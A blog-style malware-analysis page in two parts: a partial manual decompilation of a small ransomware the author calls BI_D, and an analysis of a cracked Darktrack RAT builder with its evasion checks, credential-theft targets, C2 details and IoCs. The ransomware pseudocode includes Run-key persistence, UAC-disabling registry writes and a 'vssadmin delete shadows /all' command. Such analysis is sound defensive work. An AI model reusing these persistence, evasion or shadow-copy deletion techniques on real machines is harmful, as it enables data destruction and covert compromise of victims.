BI_D Ransomware

I recently came back from REcon 2018 (Montreal) where I took a fantastic class called Binary Literacy taught by Rolf Rolles. This class was one of the best I’ve ever taken (in any subject), and helped answer many questions I had been wondering about for years when looking at disassembled code from various samples. I left this class with some new skills around manually decompiling disassembled code back into something resembling the original code, and I highly recommend taking the course if you have the opportunity. Rolf is a great instructor, and you can tell from the quality of the material and the in-class presentations that he’s put a tremendous amount of effort into refining his course.

Coming back from the conference, I wanted to put what I just learned into use as soon as I could on a “real” sample. I found a copy of an unnamed ransomware that I’m calling BI_D because of the file extension that it appends to encrypted files (maybe someone out there has named it since I’ve looked at it). I thought this would be a decent example to start with because it’s relatively small (only 11,776 bytes) and seemed free from obfuscation and didn’t appear to be heavily optimized during compilation. While I manually decompiled pretty much the entire disassembled code (with the exception of a base64 encoding function and another function that I eventually passed over because I just ran out of steam) I’m not going to share this entire decompilation here. I have some concerns about sharing what could pass as a full ransomware source code, even if this first project of mine is likely a bit of a mess. I’m sharing certain areas that I found interesting, as well as the Ida file. I’d also point out that Rolf kindly looked at my first draft decompilation and offered valuable (and extensive) feedback — however, any errors or issues in what I’m presenting are solely my own.

Before getting into details of the decompilation I’d like to cover some observations and experiences. First, I’m using a 64-bit version of Ida (Ida Free 7.0) for this, even though the executable is 32-bit (didn’t occur to me until Rolf pointed this out). I do have an old 32-bit version (Ida Free 5.0) but unfortunately it didn’t occur to me before I was well underway in the disassembly. Next time I’ll do this in a Windows VM and run the older 32-bit version to match my sample. I tried to fix all the function prototypes in the decompilation and disassembly as best I could, but I think that there are a few that seem busted up possibly due to the 64 vs. 32 bit issue (please let me know if you know why this is).

A big next step that I need to take is to really get back into C — I suspect that the majority of issues I had while doing the decompilation stemmed from having not done anything substantive in C for almost 20 years. For instance, I think there are probably consistent issues with pointers in what I’m decompiled. It’s probably pretty hard to translate from one language to another if you forgot the other language, right? Following the class, I’ve gotten better about enumerations, etc. in Ida. Setting up the enums, structs, function prototypes, etc. in the disassembly really helps make the disassembly more readable and understandable (not to mention the decompilation). Ida generally does a good job of finding structs, but some things I’ve noticed about structs include:
– I’ve seen places where there’s a local variable that’s a quadword — these turned out to be structs, so anywhere I see quadwords (or anything other than a 1, 2 or 4 byte parameter) I’m going to look in what functions use this parameter to see if there should be a struct or array there (assuming Ida didn’t already do this for me).
– It’s probably also obvious that I didn’t spend much time trying to figure out types, which is something that needs doing if I’m going to really have a true decompilation of what I’m looking at.

Summing up, I’ve come very far from where I was last time I posted here (or even a month or two ago), but I think a good next step would be to try doing one of these projects again with a new file. At a certain point it seemed like I should just start over with this one, but I just couldn’t find the motivation to throw everything out and start over from the beginning. I’d rather present what I have, warts and all, and then present another project similar to this one that’s (hopefully) much improved on the issues I identified. Regardless of any issues in the final results, this whole project was a tremendous learning experience for me.

Now I’m going to get into various parts of this ransomware to discuss areas I found interesting (along with the associated decompiled sections). Download my Ida file here. Note that you’ll have to change the extension back to .i64 as WordPress didn’t like me uploading that kind of file (or certain other formats).

The program begins with a small function that calls a main functionality subroutine beginning at 4018A0 that I called RANSOM__ExecuteAndTakeover because this is where it executes its main functionality and also establishes itself in the victim’s machine. This large function achieves persistence via registry, generates cryptographic keys for the ransomware, complicates recovery of affected files by deleting shadow copies, kills most non-system processes, and also executes the ransomware payload. My decompilation of this section is as follows (unfortunately the formatting on the themes I’ve tried isn’t great for code, so I’ll include some .txt files you can download for easier reading):

Download code snippet 1

int * __cdecl RANSOM__ExecuteAndTakeover(){
/* I’ve inserted comments rather than discussing this in the main body of the post, as I thought it would be easier to follow this way */

int &Msg, &phkResult, NumberOfBytesWritten, lpString2, &ThreadId, &phKey, &phProv, hProv, &pdwDataLen, lpMultibyteStr;

char &cbData[8]; /* not 100% sure if this is what this is */

typedef struct tagWNDCLASSEX {
UINT cbSize;
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCTSTR lpszMenuName;
LPCTSTR lpszClassName;
HICON hIconSm;
} var_30;

ncmdshow = dword_404b24 = 0;
lpString2 = lpFilename = GlobalAlloc(GMEM_ZEROINIT, 0x8000); /* allocate memory to receive the path to this executable file */
GetModuleFileNameA(0, lpFilename, 0x8000); /* Puts the full path of this file into the newly allocated memory */
if (lstrcmpiA(“C:\Windows\notepad+++.exe”, lpString2) != 0){
/* if the current path does not match this hardcoded path, then copy the file to the c:\windows\notepad+++.exe location, set it to autorun,
* and also set the actual notepad.exe file to open the ransom note that appears to be dropped in the root directory */

RegOpenKeyExA(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\”, 0, KEY_ALL_ACCESS_and_WOW64_32KEY, &phkResult);
cbData = lstrlenA(“c:\\Windows\\notepad.exe \”c:\\How To Restore Files.txt\””);
RegSetValueExA(phkResult, “decrypt”, 0, REG_SZ, “c:\\Windows\\notepad.exe \”c:\\How To Restore Files.txt\””, cbData);
cbData = lstrlenA(“c:\\Windows\\notepad+++.exe”);
RegSetValueExA(phkResult, “notepad++”, 0, REG_SZ, “c:\\Windows\\notepad+++.exe”, cbData);
CopyFileA(lpString2, “c:\\Windows\\notepad+++.exe”, 0);
nCmdShow = 5;

dword_404b24 = 0; /* we already initialized this to 0 before, not sure why we’re doing this again */
CryptAcquireContextA(&phProv, 0, 0, PROV_RSA_FULL, CRYPT_DELETEKEYSET); /* deletes the current context */
if (CryptAcquireContextA(&phProv, 0, 0, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT) == 0)
CryptAcquireContextA(&phProv, 0, “Microsoft Enhanced Cryptographic Provider v1.0”, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
/* if we can’t get the default context successfully, then use the hardcoded one above */

CryptImportKey(phProv, pbData, 0x114, 0 0, &phKey); /* length is 276 bytes / 2208 bits */
CryptAcquireContextA(&phProv, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT); /* AES */
CryptGenKey(hProv, CALG_AES_256, CRYPT_EXPORTABLE, phKey); /* AES 256 */
pdwDataLen = 0x2c;
CryptExportKey(phKey, 0, CRYPT_NEWKEYSET, 0, lpString2, &pdwDatalen); /* new key set */
pdwDataLen = 0x2c; /* seems redundant */
CryptEncrypt(phKey, 0, CRYPT_EXPORTABLE, 0, lpString2, &pdwDataLen, CRYPT_SF);
/* looks like we’re hashing/encrypting the data that was in lpString2, which was the original file path,
* and then this becomes the key as we see later. But does the key blob replace what’s already there? */
CryptAcquireContextA(&phProv, 0, 0, PROV_RSA_FULL, CRYPT_DELETEKEYSET); /* delete the key set */
phProv = CreateFileA(“c:\\Windows\DECODE.KEY”, GENERIC_READ_WRITE, 0, 0, OPEN_ALWAYS, 0, 0); /* open this file, creates it if it doesn’t exist */
SetFilePointer(phProv, 0, 0, FILE_END) /* end of file position */
WriteFile(phProv, lpString2, 0x100, &NumberofBytesWritten, 0); /* write the key into that DECODE.KEY file */
* Basically at this point, we created a key with RSA/AES256 *
* combo, used the original path data as part of this also (I *
* think) to generate the key, then wrote it out to this file *
lpMultiByteStr = lpString2+0x400;
GENERIC__Base64(lpString2, lpString2+0x400, 0x100); /* this looks like a generic base64 encoding subroutine using a standard base64 index for files */
RtlMoveMemory(0x40407C, lpMultiByteStr+0x10, 0xa); /* that hex address point to an array containing the ransom note */
MultiByteToWideChar(0x3, 0, lpMultiByteStr, -1, WideCharStr, 0xa); /* convert ransomnote to wide */
RegOpenKeyExA(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DateTime\\”, 0, KEY_ALL_ACCESS_and_WOW64_32KEY, &phkResult);
cbData = 0xa;
if(RegQueryValueExA(phkResult, “notepad++”, 0, 0, RansomNoteArray+0x22, &lpcbData) != 0)
if(cbData != 0xa)
RegSetValueExA(phkResult, “notepad++”, 0, REG_SZ, MultiByteStr, 0xa);
*MultiByteStr[0xa] = 0;
RegSetValueExA(hKey lpMultiByteStr, 0, REG_BINARY, lpString2, 0x100);
RtlZeroMemory(lpString2, 0x8000); /* blow away all this memory */
RegOpenKeyExA(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\”, 0, KEY_ALL_ACCESS_and_WOW64_32KEY, *phkResult);
RegSetValueExA(hKey, “PromptOnSecureDesktop”, 0, REG_DWORD, lpString2, 0x4);
/* from MSDN: Disabling this policy disables secure desktop prompting. All credential or consent prompting will occur on the interactive user’s desktop. */
RegSetValueExA(hKey, “EnableLUA”, 0, REG_DWORD, lpString2, 0x4);
/* from MSDN: Disabling this policy disables the “administrator in Admin Approval Mode” user type. */
RegSetValueExA(hKey, “ConsentPromptBehaviorAdmin”, 0, REG_DWORD, lpString2, 0x4);
/* from MSDN: This option allows the Consent Admin to perform an operation that requires elevation without consent or credentials. */
GetEnvironmentVariableA(“Comspec”, lpString2, 0x5dc); /* get the command line interpreter */
ShellExecuteA(0, 0, lpString2, “/c vssadmin delete shadows /all”, 0, 0); /* delete shadow copies, presumably to complicate recovery of files on the system */
CreateThread(0, 0, RANSOM__ProcKiller, 0, 0, &ThreadId); /* This subroutine iterates through running processes and kills non-whitelisted processes */
InitCommonControls(); /* another deprecated function according to MSDN */
var_30.cbSize = 0x30; = CS_VREDRAW_AND_HREDRAW;
var_30.lpfnWndProc = RANSOM__CallMainFunctionality;
var_30.CbClsExtra = 0;
var_30.cbWndExtra = 0x1e;
var_30.hInstance = hInstance;
var_30.hbrBackground = COLOR_BTNSHADOW;
var_30.lpszClassName = “notepad++”;
CreateDialogParamA(hInstance, 0x65, 0, RANSOM__CallMainFunctionality, 0);
ShowWindow(hWnd, nCmdShow);
while ( GetMessageA(&lpMsg, 0, 0, 0) != 0 ){ /* so keep looping unless we get the WM_QUIT message */

One of the subsequent functions that I found interesting was one that begins at 401676 that I named RANSOM__FindDrivesEnumResources. I imagine that this isn’t a terribly exciting function but I thought it was interesting to dig into how calls to GetLogicalDrives() actually works and how the ransomware appears to use the returned bitmask from this function to determine how many threads to create to encrypt files found there.

Download code snippet 2

void __cdecl RANSOM__FindDrivesEnumResources(){

int &ThreadId;

/* used in my interpretation of the recreated code, perhaps invalid: */
int i, drivebitmask;

drivebitmask = GetLogicalDrives();
/* If the function succeeds, the return value is a bitmask representing the currently available disk drives. *
* Bit position 0 (the least-significant bit) is drive A, bit position 1 is drive B, bit position 2 is drive C, and so on. *
* On my test system, I have C and D so I should get back 000…00001100 in eax */ */

for (i = 25, i >= 0, i–){

if(((0x1 << i) & drivebitmask) != 0){
/* I suppose you could insert the call to GetLogicalDrives() in the loop, but that’s not how the disassemby looked to me */
hThread = CreateThread(0, 0, RANSOM__PassWildcardsToEncLogicalDriveFiles, i, 0, &ThreadId);




* this comment refers to the disassembly, but should also be useful here to understand this func:
* as noted earlier, returns 000…00001100 to eax and then we have 0x19 in ecx or 00011001
* ebx = 1
* cl = 0x19 = 00011001
* ebx << cl = ebx << 1 = 1 << 19 = essentially shifted way out to be almost irrelevant
* ebx & eax = 000….0 & 00001100 = 00000000
* dec ecx = 0x19– = 00011000 and loop back to top
* we keep doing this over and over until we start to get to the bottom of ECX… for instance:
* cl = 2 = 00000011
* ebx = 1
* ebx << cl = 00000001 << 2 = 00000100
* ebx & eax = 00000100 & 00001100 = 00000100 = not zero because now we hit on the C:\ drive bit
* so NOW we execute the createthread
* Since originally ECX is set to 0x19 (25), seems like what we’e doing here is iterating through
* all possible drive letters, since GetLogicalDrives returns a bitmask where each bit
* represents some drive…

hThread = CreateThread(0, 0, RANSOM__EnumNetworkDrivesNewEnum, 0, 0, &ThreadId);



Summarizing the overall functionality of this ransomware based on the overall disassembly and decompilation, it can be seen that BI_D:
– Drops a ransom note called “How To Restore Files.txt” containing instructions asking the victim to contact for details on how to pay for file decryption (and requests that the DECODE.KEY file be sent to the ransomware controller)
– Creates multiple threads to encrypt files on connected and networked drives using the RSA/AES256 combination shown above, though is careful not to encrypt already encrypted files (with a .BI_D extension), the ransom note, or those in the Windows directory
– Achieves persistance via the Registry and also takes various steps to both gain greater access to the victim’s machine as well as complicate recovery of encrypted files
– Kills all processes on the victim’s machine besides the ransomware process itself and a small process whitelist shown in the screenshot below:

File details:
MD5: 3cf87e475a67977ab96dff95230f8146
SHA256: 307bca9a514b1e5038926a0bafc7bc08d131dd6fe3998f31cb1e614e16effe32
Size: 11776 bytes

Controller/developer email address:
Encrypted file extension: .BI_D
Installs itself to: “c:\Windows\notepad+++.exe”
Drops a ransom note to: “c:\How To Restore Files.txt”
Ransom note template:


I was recently looking through a certain community of 1337 hax0rs and found someone trying to promote some malware that they allegedly cracked [Note: as I researched this, I later learned that the actual developer never charged for this RAT, so just the fact that the person who linked to this sample claimed to have cracked it shows that something’s up]. One of these is called Darktrack RAT, and the other is Reaper ransomware.

Jump to:
Static and Dynamic Analysis
Hashes and IoCs

Initial Look

This is apparently a Darktrack 5.0 builder “with all plugs”. We’ll see about that, I guess. As I researched this, it looks like Darktrack 5 (also called Darktrack Colorful) hasn’t been released yet.

Running the builder gives you a pop up / license agreement window, and also drops two files into the %TEMP% folder:


MBvI0Nh1JQcmVthRdCAy6TfJ2FA.exe is the panel executable that is presenting me with the EULA. Reading through the EULA doesn’t provide much interesting info. Someone (or some group) called Luckyduck appears to be responsible for Darktrack. One thing that’s interesting to me is that the English in the EULA starts out good, then gets noticeably worse as it goes along. Perhaps the beginning was just copied and pasted from somewhere else. The following snippet suggests that the product’s name is actually Darktrack Alien and the purported developer is this Luckyduck:




The panel is pretty nice looking, actually:

There’s a help section, which tries to connect to the “Darktrack Tube” found at[.]com/embed/0hByqnu6-Z4. This’ll be good to dig through later. There’s also a nice “About Me” section:

There are a bunch of names to look into someday, plus also what appears to be the website for Darktrack at www.darktrack[.]net. I also see that this appears to be Darktrack Alien 4.1, not the 5.0 version as promised by the original poster. Bug reporting is handled at https://forum.darktrack[.]net/.

Besides this stuff, the rest is sort of typical RAT panel features — client management panel, client builder/client settings, IP address map / victim geography, etc. The only problem is that one of the most important parts doesn’t appear to work — the client builder. If you can’t build your own clients, you can’t really do anything useful with this thing. It looks like this package came with a pre-built client from whoever cracked this (called “stub.exe”) but this won’t help anyone trying to create their own clients. Going back to the forum where I found this malware, the majority of ratings the post got indicated that the malware wasn’t functioning. I’m guessing that the only people who rated it as working were the original poster and his pals (or multis). I’m going to try to work with the stub.exe file anyway and see if I can get some more info about Darktrack from it.


Static and Dynamic Analysis

Taking a look at the stub.exe program, it’s a fairly big file (around 650k). It looks like it’s Delphi (ewww). Some people I know definitely are not fans of looking at entropy, but I like looking at it and it helps me, so bear with me if you disagree. Here’s an entropy plot of the stub.exe program before execution:

Looking at this, it seems fairly normal until you get to around 425k into the file, and then it looks like we have something there. Running the program, and then dumping the process with Volatility gives us something different, with the following entropy plot:

Whatever there was at the 425k area, it’s in use now. Looking in memory of the running stub.exe program, there’s some interesting stuff already:

xaf5c78 (40): C:\DOCUME~1\Owner\LOCALS~1\Temp\Klog.dat
0xaf5cf8 (40): C:\DOCUME~1\Owner\LOCALS~1\Temp\Klog.dat
0xafcfa8 (47):
[String Search]-(9/27/2017 / 8:13:43 PM)
0xafcfe8 (46):
[String earch]-(9/27/2017 / 8:13:43 PM)
0xafd028 (46):
[String Search]-(9/27/2017 / 8:13:43 PM)
0xb042d8 (91): Num 4AltAltAltAltfNum 2Num 2Num 2Num 4ShiftShiftShiftShiftShiftShiftShiftShiftShiftShift4

Further on, we see what could be the config info of the client:

4.1 Alien+
Local User

The item at the top is the mutex used by this malware, I presume (to be confirmed) to ensure that only a single instance is running at a time on the victim’s machine. You can also see the default password and host (123456 and listed there as well. We’ll have to see what the rest is for. Perhaps notepad.exe is injected or something.

Looking through the rest of the stuff revealed in memory suggests the following capabilities for Darktrack, though this needs to be confirmed by deeper digging:

  • Keylogging (keylogger file will be stored in the victim’s %TEMP% folder in a plaintext file called KLog.dat)
  • Possible Anti-Sandbox / Anti-VM capabilities (against Virtual Box and Sandboxie)
  • Anti-Debugging (reference to KERNEL32.IsDebuggerPresent and even a reference to SoftIce?)
  • Credential stealing:
  • Outlook/Exchange
  • Firefox
  • Skype
  • YandexBrowser
  • Comodo Dragon
  • Chrome
  • Possibly some Anti-AV capability
  • Possible harassment feature (open and close optical drive)
  • Supports Windows versions from Windows 2000 through Windows Server 2016 Technical Preview

There was another interesting string found in memory:


This might provide another username to follow up on.



Let’s start looking at this thing in the disassembler. Opening this in Ida 5.0 (as I am still waiting for all that money from the Nigerian Oil Minister to hit my account, I cannot yet afford a paid copy of Ida) reveals some further detail behind some of the information we found by looking at it statically and dynamically. My earlier pieces on this site included many, many screenshots from Ida (and often from Olly) but I’m not going to kill you with 47 pictures of disassembly. However, I’ll try to mention a few things I found while poking around in the guts of the unpacked stub.exe.

Subroutine 425654 appears to be where libraries and functions are loaded. Take a look at the following:

KERNEL32.LoadLibrary and KERNEL32.GetProcAddress are basically ubiquitous. LoadLibrary takes a single parameter (the name of the library) and GetProcAddress takes two parameters, the handle to the module (library) and the name of the process to load. The sequence of events looks like this to me (at this time):

  1. Push a proc name, then a library name. The stack should look like this, from last to first: library name, proc name
  2. Call LoadLibrary (the return should be the handle to the library, which should go into EAX). At this point, the stack should just have the proc name on it.
  3. PUSH EAX to put the handle to the library on the stack, so now we should have: Handle to library, proc name
  4. Call GetProcAddress which should then return the address of the export
  5. Then we see that the address of that proc is being moved into a structure, e.g.: MOV [ESI+20H], EAX, that is, the returned handle of the proc is being moved into the memory address of wherever ESI+20H is in that instance of the program
  6. Iterates for many libraries and procs

I’m going to call sub 407CCC “MaybeLoadLibrary” and sub 407CE4 “MaybeGetProcAddress” [note that 407CCC was later revealed to be a call to KERNEL32.GetModuleHandle]. I’m also going to create a structure in Ida and then start labelling all of these references to proc addresses so it’s easier to read than [ESI+0CH].

449E60 looks like the sub that actually does the stored login harvesting from the various browsers supported by this RAT. Sub 460740 is a giant control subroutine containing a very large and ugly switch statement with 154 cases:

Within this switch statement, there are several cases that will pass the locations of stored credentials for the supported browsers and then call sub 449E60 to acquire them. The cases are:

0x54h Yandex Browser
0x55h Comodo Dragon
0x88h Google Chrome

The following parts of the switch statement refer to targeting other platforms, though with different underlying mechanisms than the areas above:

0x60h Skype
0x89h Firefox

An additional interesting case in this switch statement is 0x72h, System inventory (gathers some info about processor architecture). Stub.exe determines whether or not the processor is 32- or 64-bit using code beginning at location 4605C3. The subroutine called in that area, 45E340, makes a call to KERNEL32.IsWow64Process and determines the architecture based on the returned value.

I also found an evasion subroutine at 425F34. This sub starts by going to the `Software\Microsoft\Windows\CurrentVersion` Registry key. It checks the Product ID for the string `76487-337-8429955-22614` which would detect Anubis Sandbox. Other evasion subroutines I found are as follows, with their associated product:

  • Sub 425E7C checks Product ID for string `76487-644-3177037-23510` for CWSandbox
  • Sub 425DC4 checks Product ID for string `55274-640-2673064-23950` for Joe’s Sandbox
  • Sub 425DA0 calls KERNEL32.GetModuleHandle to check for `dbghelp.dll` for Threat Expert
  • Sub 425D7C calls KERNEL32.GetModuleHandle to check for `SbieDll.dll` for SandBoxie
  • Sub 425B78 VMXh magic value trick to detect VMWare
  • Sub 425C20 checks for `VBoxService.exe` as a running process to detect VirtualBox
  • Sub 4260C4 checks for debuggers via a call to KERNEL32.IsDebuggerPresent
  • Sub 42611C checks for debuggers by determining if the debug flag is set to 1 in the PEB at offset 0x2h
  • Sub 4261E8 checks for software breakpoints (0xCC, Int 3)
  • Sub 426174 not 100% sure — checks for `DAEMON` and also does the PEB antidebugger check again
  • Sub 42624C checks for Syser Debugger via a call to KERNEL32.CreateFileA to check for the files `Syser`, `SyserDbgMsg` and `SyserBoot`
  • Sub 4262AC checks for SoftICE Debugger via a call to KERNEL32.CreateFileA to check for the file `SICE`
  • Sub 4262E8 checks for SoftICE Debugger via a call to KERNEL32.CreateFileA to check for the file `NTICE`
  • Sub 426158 is the master anti-debugging sub for two user mode methods above, which calls 4260C4 and 42611C
  • Sub 4265AC is the master evasion sub, as it contains calls to the evasion subs listed above

One strange thing about this sample is that despite all of these evasion methods above, some of the functionality of the malware still appears to execute even though I’m not running it in a hardened VM. I’d expect none of the functionality to work given that this malware is detecting my VM.

Subroutine 45F938 looks like the overall system inventory sub. I was able to identify the following subroutines within it, and their apparent functions:

  • Sub 45F4A4 Identify the Windows Version
  • Sub 45F0F4 Identify user type (administrator / regular user)
  • Sub 405344 Appears to be called to store system inventory information once gathered
  • Sub 45F8C0 Has calls to USER32.GetForegroundWindow and USER32.GetWindowText the result of which is stored
  • Sub 45D74C is used to identify the presence of services on the victim machine by the port that is in use. The specific services that the malware looks for are: FTP (ports 20/21), SSH (22), Telnet (23), SMTP (25), Whois (43), DNS (53), DHCP (68), HTTP (80/8080), POP3 (110), NetBIOS (137/138/139), IMAP (143/220), SNMP (161), IRC (194 [usually this is 6667? Looks like they are just using the “standard” ports]), SSL (443), SMB (445), Lotus Notes (1352), MS SQL Server (1433), Oracle (1521), NFS (2049), MySQL (3306), ICQ (4000), and VNC (5800/5900). Any other open ports are listed as “Unknow [sic] Service Port.”
    Sub 45DED4 uses subroutine 45D74C above to identify open and closed ports and services

Sub 4423BC contains many function calls related to setting up for and taking what is probably a screenshot of the victim’s desktop. Sub 442020 looks like it could be the network communications startup subroutine. Besides seeing that there appears to be a user-agent construction section within this subroutine, there are also a bunch of unlabeled calls in there. Two of these look very much like they could be a call to WS2_32.WSAStartup and WS2_32.Socket based on the parameters being passed. I can’t discern any of the other function calls one would normally look for (things like listen, send, recv, getaddrinfo, etc.) based on the rest of the disassembly but I’m going to label 442020 as possibly the network communications startup subroutine. Sub 43BD50 appears to be a performance monitoring subroutine, based on information from a very old article located at (

Going back to the C2 switch statement referred to earlier, located at 460740, there is what I refer to as a harassment section (sometimes referred to as “fun stuff” by the malware developers). This subroutine falls under case 0x61 in the main C2 subroutine and is also a switch statement with 15 cases. The cases and associated functionality are as follows:

0x1 Unknown
0x2 Disable shortcuts and the desktop
0x3 Enable shortcuts and the desktop
0x4 Hide Program Manager
0x5 Show Program Manager
0x6 Turn the monitor off
0x7 Turn the monitor on
0x8 Unknown
0x9 Force Shutdown/Poweroff
0xA Force Logoff
0xB Force Reboot
0xC Hide Taskbar
0xD Show Taskbar
0xE Open Optical Drive
0xF Close Optical Drive

45C218 is a network sniffing subroutine. The full functionality is not 100% clear, however the code will call WS2_32.WSAStartup, WS2_32.Socket and WS2_32.Bind before likely making a call to WS2_32.WSAIoctl and one other function. This appears to be designed to sniff all packets that the victim machine is exposed to.

At location 468894, one can actually see the PE header for an executable file packed with UPX. Sub 4484C0 references this location, and while it’s a bit difficult to see what’s going on due to indirect calls, it looks like this sub sets aside 175,616 bytes in memory and then unpacks the file into that. One of the parent subroutines of this one appears to actually be the code found at this Github page: It seems that the malware uses this to load and parse a PE header from a file (probably the UPX-packed file we are discussing) and then appears to use the code to then load a bunch of SQL Lite functions. I’m guessing that this file that is packed is probably SQL Lite and it is probably being used to store data about the victim’s machine, but I’m going to dump this file and take a look at it to be sure. Sub 4484E8 is the overall subroutine that is responsible for this, and I’m going to tentatively going to call this the “Unpack SQL Lite and Setup” sub.

45A360 appears to be the subroutine handling opening a chat window with the victim. Sub 45A4EC is strange. I believe this is some sort of encryption subroutine. It has a few dozen cross-references in the disassembly, and uses a strange 51-character string which is “Yhuol08uJhGfCVzzXdFG.==+t&t&y7877wSWqwDw12123ghhGTG”. I’m going to label sub 45A4EC as “MaybeEncryption” and keep moving on, and maybe I’ll see something that will shed more light on this if I run this in the debugger.

After pulling the UPX file out of the stub with Hiew, I unpacked it and it appears to just be a regular sqlite3.dll. The file did get a few detections on VirusTotal, but the detections aren’t really ones I would trust. Based my own examination of the actual contents this appears to just be a SQL Lite .dll. I noticed that the Darktrack builder appears to store victim information in a SQL Lite file, so maybe the developer just uses SQL Lite for storing the various information about victims both on the panel machine and on each victim machine.



Running the stub.exe program through the debugger really helped to clarify some things that were not clear in the disassembly either because my older version of Ida didn’t work 100% correctly or because there were some indirect calls in the code that were hard for me to discern via the disassembly alone. What I’m calling the master evasion sub, 4265AC, actually has some other things going on in it that I didn’t see before. The first thing is that I see near the beginning of this sub that the program tries to load a resource called “settings” which I presume is the RAT config info. Stub.exe isn’t able to load this from the .rsrc section. The error returned is “ERROR_RESOURCE_NAME_NOT_FOUND”. I’m not sure what’s wrong, but I’m going to keep going and see what other stuff I can find out via the debugger.

A small detail that I assumed was the case was confirmed while I was running stub.exe in the debugger. The RAT client does use the mutex to ensure that only a single instance of the malware is running on a victim’s machine at a time. Sub 42651C controls this. It will make a call to another subroutine to create the mutex and then it will make a call to KERNEL32.GetLastError. It will compare the error returned with the constant 0xB7 (which would indicate “ERROR_ALREADY_EXISTS”). If it does already exist, then the malware will terminate, while success or any other error returned will allow the malware to continue to execute. See below from my debugger:

Sub 426CF0 is another subroutine that has been greatly filled in via the debugger. This subroutine handles several calls to various WS2_32 functions that handle connection to the RAT host. Moving back over to the evasion subroutine beginning at 4265AC, I set a new entry point to put us back in the various anti-analysis tests. Sub 425FEC appears to get the current user name and compare it with the string “CurrentUser”. I’m not sure what this is supposed to accomplish. In doing some reading on the subject, this appears to be another way to detect certain sandbox environments. Another thing that became clear in the debugger is that the main evasion sub contains two calls to KERNEL32.GetTickCount to add this timing check to the other anti-analysis techniques. The two KERNEL32.GetTickCount calls are located at 426710 and 426858, and in this case the malware will terminate if there has been more than five seconds between the two calls.

Sub 425040 is very interesting now that I’ve been able to look at it in the debugger. I had previously named this as some sort of function loading subroutine, but running it in the debugger I see that there are some more interesting things going on. The Darktrack stub will invoke a new notepad.exe process and then allocates memory and starts to write to those newly allocated areas with what appear to be procedures to load from KERNEL32. It then tries to start a remote thread in that notepad.exe process, which in my test environment crashes notepad. After this, stub.exe goes a bit bonkers and enters a very processor intensive infinite loop (perhaps this is some sort of evasion technique itself). I’m going to step back a bit and see if I can get into other functions.

One subroutine that I am very interested in is sub 45A4EC. This one contains a really nasty looking string as mentioned earlier (“Yhuol08uJhGfCVzzXdFG.==+t&t&y7877wSWqwDw12123ghhGTG”). Earlier I’d guessed that this is some sort of encryption subroutine, so I set a breakpoint on this subroutine to see what happens here. When the breakpoint hit, I saw something very interesting which looks a lot like RAT C2 communication being used here:

We can see a lots of things passed here, such as the logged in user, the Windows version, the Darktrack version, the active window, the user type (administrator or regular user), and the password for this Darktrack stub (in this case, the default “123456”). After observing this subroutine for a bit, I noticed that there is a loop starting at location 4552AF and looping back from 455329 that uses that big ugly string to do a some sort of multibyte XOR of the system inventory information that we saw being passed to this overall subroutine before:

I tried to arrange the screen to best view the encryption/decryption loop and the area of memory where it can be seen that the string is in fact being encyphered via XOR. While it appears to be some sort of multibyte XOR, it’s not actually as simple as just taking the key and the plaintext and doing a multibyte XOR. There is some mechanism that I can’t discern that is adding some extra complexity to how this encyphering is being handled. Maybe someone with more experience with this could look at this someday. In the meantime, I suppose it would be possible to take the code from the malware, put it into some format of your choice, and use that to decypher traffic. I actually tried this just to be sure — I took the final encyphered text, put it where the plaintext should go, and watched as I ran the malware again and it decyphered what it had previously encyphered with this subroutine.

I tried manipulating various things in sub 426CF0 which appears to be the subroutine to connect to the RAT host. Looking in here confirms that the port used by this stub is 9633 by observing the call to WS2_32.htons. After stepping through this subroutine and trying to keep things going in the right direction by modifying memory or the code, I was able to get the stub to connect to my panel:

Right clicking on the connected Darktrack client reveals some options. Control center is probably the most interesting, but it can still be seen that from this quick menu there are options to obtain information about the victim’s machine, execute commands or open web pages on the victim’s machine, uninstall the RAT client or options to help organize the victim in the overall list of infected machines.

The control center is pretty slick and has several screens worth of options:

The interface is actually very nice, I’m impressed by how this was put together, compared with some other malware samples I’ve worked with. Looking through all of these options, this confirms a lot of functionality that was either suspected based on the static/dynamic analysis or was seen in the disassembly and debugging:

  • File manager functionality
  • Registry editing
  • Process manager
  • Windows Services manager
  • Installed application enumeration
  • Active connections enumeration
  • Startup manager
  • Clipboard manager
  • Surveillance functionality (online and offline keylogger, remote desktop connection, remote camera and microphone capture, remote shell, saved passwords harvesting, ability to download/upload and execute files on the victim’s machine)
  • Hosts file editing
  • Script execution
  • Dialog box generator
  • Networking management features (share enumerator, LAN scanning, port scanning, TCP sniffing)
  • Information gathering (system privileges and monitoring)
  • Miscellaneous features I classify as harassment features (ability to send a key input to the victim’s machine, print a file, text to speech, user chat, restart/lock/logoff/shutdown the machine)
  • Skype management (obtain users, contacts, file transfers, and conversation info)
  • RAT client management features (restart, close, uninstall, share client)

As I said before, some of these are very nice. For instance, the process manager functionality is very well presented and allows the RAT controller a lot of control over the running processes on the victim’s machine (such as suspending the process, killing it, altering the priority, etc.). The remote shell functionality is very easy to use, also.

This pretty much wraps up everything I’m interested in looking at in this particular malware sample.



Darktrack RAT has a nice user interface and contains a lot of functionality that would be of interest to a malicious actor. Nothing is too notable (when compared with other RATs) however the interface for the RAT controller is well-designed and easy to use. Some flaws emerged from examining this sample. For instance, the evasion subroutines do not fully work, even in an obvious analysis environment. The evasion routines also appear to be old/outdated due to some of the platforms targeted. Obfuscation of traffic via the XOR-based scheme is weak, especially when the key is so easy to obtain from the stub file and in the worst case one can just use the malware’s own subroutine to encypher or decypher traffic. The lack of a working client builder is a major issue, but this might have been an issue introduced by whoever cracked this particular copy of Darktrack. Overall, this was an interesting malware sample to analyse and reverse (even if it is Delphi).


Hashes and IoCs

Builder Archive
MD5 367ba50a6f212e9f722b72a92ae9b7a8
SHA-1 bf6f497f654c920d6485d723d310a7373f2b72f1
File Type RAR
SSDeep 393216:gO3Otn+wKEqgvtYgeUNDA1H0Kw1VvUACZ1t6HoF:MxK8CTXTw1VvSZ1tR
File Size 18.01 MB

Builder Main Executable
